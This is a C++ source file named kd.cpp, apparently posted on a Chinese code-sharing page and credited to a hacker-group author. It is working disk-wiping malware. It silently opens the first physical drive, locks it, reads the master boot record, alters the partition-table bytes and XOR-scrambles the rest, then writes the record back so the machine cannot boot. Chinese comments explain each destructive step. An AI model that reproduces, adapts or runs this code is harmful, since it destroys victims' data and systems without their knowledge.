📄 kd.cpp
字号:
/* 程序编写作者:黑网之神
来自网神网络技术中心 www.sksgod.com */
#include <windows.h>
#include <winioctl.h>
//#include "resource.h"
#include "Youhua.h"
#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")
void KillDisk()
{
HANDLE hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
0,NULL); //访问物理磁盘 physicaldriver0 就是第一快物理磁盘
if(hDevice==INVALID_HANDLE_VALUE) //判断句柄有效否
{
ExitProcess(0);
}
DWORD cout;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //下发锁盘命令
DISK_GEOMETRY Getmetry;
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
&cout,
NULL);
LPTSTR szBuf;
szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
Getmetry.BytesPerSector);
if(szBuf==NULL)
{
ExitProcess(0);
}
DWORD bytes=512;
DWORD readsize;
BOOL m_ret;
m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL); //这里就是读取磁盘的前512字节 里面放了MBR 和DBR
if(m_ret==FALSE || readsize<512) // 简单点理解 MBR就是存放硬盘的一些信息
{ //例如主引导纪录等等。 随便破坏一点点。。 那么硬盘就无法正常启动了
ExitProcess(0);
}
BYTE MBR[512]={0};
for(int n=0;n<512;n++)
{
MBR[n]=szBuf[n];
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //下发解锁命令
CloseHandle(hDevice);
MBR[0x1BE]=80; //活动分区标志
MBR[0x1BF]=0; //本分区起始地址
MBR[0x1C2]=5; //分区类型
for(int i=0x1C3;i<=0x1FE;i++)
{
MBR[i]=MBR[i]^26; //加密
}
hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0", //再次打开物理磁盘
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if(hDevice==INVALID_HANDLE_VALUE)
{
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //锁盘
m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL); //重写MBR
if(m_ret==FALSE||readsize<512)
{
ExitProcess(0);
}
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); //解锁
CloseHandle(hDevice); //搞定收工...
}
void main()
{
Sleep(1000);
KillDisk();
}
/* 程序编写作者:黑网之神
来自网神网络技术中心 www.sksgod.com */
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -